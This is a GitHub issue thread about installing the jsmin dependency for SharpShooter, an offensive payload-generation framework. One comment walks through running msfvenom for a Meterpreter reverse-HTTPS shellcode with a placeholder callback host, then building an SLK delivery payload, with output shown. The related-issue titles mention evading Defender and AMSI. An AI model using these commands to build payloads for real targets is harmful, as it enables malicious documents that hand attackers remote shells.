Comments (15)
Python 2.7 reached the end of its life on January 1st, 2020. So, the solution is download jsmin and install it without pip (or apt).
Solution:
wget https://files.pythonhosted.org/packages/17/73/615d1267a82ed26cd7c124108c3c61169d8e40c36d393883eaee3a561852/jsmin-2.2.2.tar.gz
tar xzf jsmin-2.2.2.tar.gz
cd jsmin-2.2.2
sudo python setup.py install
from sharpshooter.
apt install -y python-setuptools
cd /tmp
git clone https://github.com/tikitu/jsmin/
cd jsmin
python2 setup.py install
This is a working fix
from sharpshooter.
pip install -r requirements.txt
from sharpshooter.
still the same
from sharpshooter.
How about " pip install jsmin " ?
from sharpshooter.
I also encountered this mistake,Although I used the "pip install jsmin" command,I was unable to solve the problem。
from sharpshooter.
Try apt install python-jsmin instead.
from sharpshooter.
Try apt install python-jsmin instead.
thank you! good
from sharpshooter.
I had to grab 2.2.2 from https://pypi.org/project/jsmin/#files and install manually
from sharpshooter.
确保pip属于python2,再安装jsmin
from sharpshooter.
apt purge python3-pip
apt purge python-pip
curl https://bootstrap.pypa.io/get-pip.py -o /tmp/get-pip.py
python3 /tmp/get-pip.py
python /tmp/get-pip.py
rm /tmp/get-pip.py
pip install jsmin
from sharpshooter.
I had the same problem
python didn't find "jsmin" module
@rebootcuong
your hint helped me to fix this issue for me
Thanks
from sharpshooter.
Complete Steps (Python 2.7)
# apt install -y python-setuptools
# cd /tmp
# git clone https://github.com/tikitu/jsmin/
# cd jsmin
# python2.7 setup.py install
# cd /opt
# git clone https://github.com/mdsecactivebreach/SharpShooter.git
# cd SharpShooter
# msfvenom -p windows/meterpreter/reverse_https LHOST=x.x.x.x LPORT=4444 -f raw -b '\x00' -e x86/shikata_ga_nai -o shellcode.bin
# python2.7 SharpShooter.py --payload slk --rawscfile shellcode.bin --output test
[!] Shellcode must not contain null bytes
[*] Written delivery payload to output/test.slk
from sharpshooter.
None of these solutions worked for me. I can't seem to find a way to get Sharpshooter to work :(
from sharpshooter.
Python 2.7 reached the end of its life on January 1st, 2020. So, the solution is download jsmin and install it without pip (or apt).
Solution:
wget https://files.pythonhosted.org/packages/17/73/615d1267a82ed26cd7c124108c3c61169d8e40c36d393883eaee3a561852/jsmin-2.2.2.tar.gz tar xzf jsmin-2.2.2.tar.gz cd jsmin-2.2.2 sudo python setup.py install
Appreciate the help, 2.2.2 seems to work well. 3.0.1 threw me all sorts of errors! 🙏🙏
from sharpshooter.
Related Issues (20)
- Is this project still under development?
- clean pull of the src does not appear to work with python 3 on stock kali HOT 2
- [!] Missing --dotnetver argument HOT 1
- jsmin help HOT 1
- Correct Reg path for AMSI commit? HOT 1
- custom payload
- Detected defender win10 HOT 2
- Not able get a meterpreter session back to Kali VM from Win10 client (Defender OFF)
- Does not appear to work with reverse_http HOT 2
- Run with metasploit multi/handler HOT 2
- .Net v4 compatibility issue from VBA/macro
- .HTA file execution doesn't call back HOT 2
- Make executable.
- Encoding issue with Python3 HOT 3
- Missing license information
- Inconsitent use of tabs and spaces in modules/excel4.py HOT 5
- Request: Update for Python3 HOT 1
- Error installing HOT 4
- initial_value must be unicode or None, not str HOT 1
Recommend Projects
-
React
A declarative, efficient, and flexible JavaScript library for building user interfaces.
-
Vue.js
🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.
-
Typescript
TypeScript is a superset of JavaScript that compiles to clean JavaScript output.
-
TensorFlow
An Open Source Machine Learning Framework for Everyone
-
Django
The Web framework for perfectionists with deadlines.
-
Laravel
A PHP framework for web artisans
-
D3
Bring data to life with SVG, Canvas and HTML. 📊📈🎉
-
Recommend Topics
-
javascript
JavaScript (JS) is a lightweight interpreted programming language with first-class functions.
-
web
Some thing interesting about web. New door for the world.
-
server
A server is a program made to process requests and deliver data to clients.
-
Machine learning
Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.
-
Visualization
Some thing interesting about visualization, use data art
-
Game
Some thing interesting about game, make everyone happy.
Recommend Org
-
Facebook
We are working to build community through open source technology. NB: members must have two-factor auth.
-
Microsoft
Open source projects and samples from Microsoft.
-
Google
Google ❤️ Open Source for everyone.
-
Alibaba
Alibaba Open Source for everyone
-
D3
Data-Driven Documents codes.
-
Tencent
China tencent open source team.
from sharpshooter.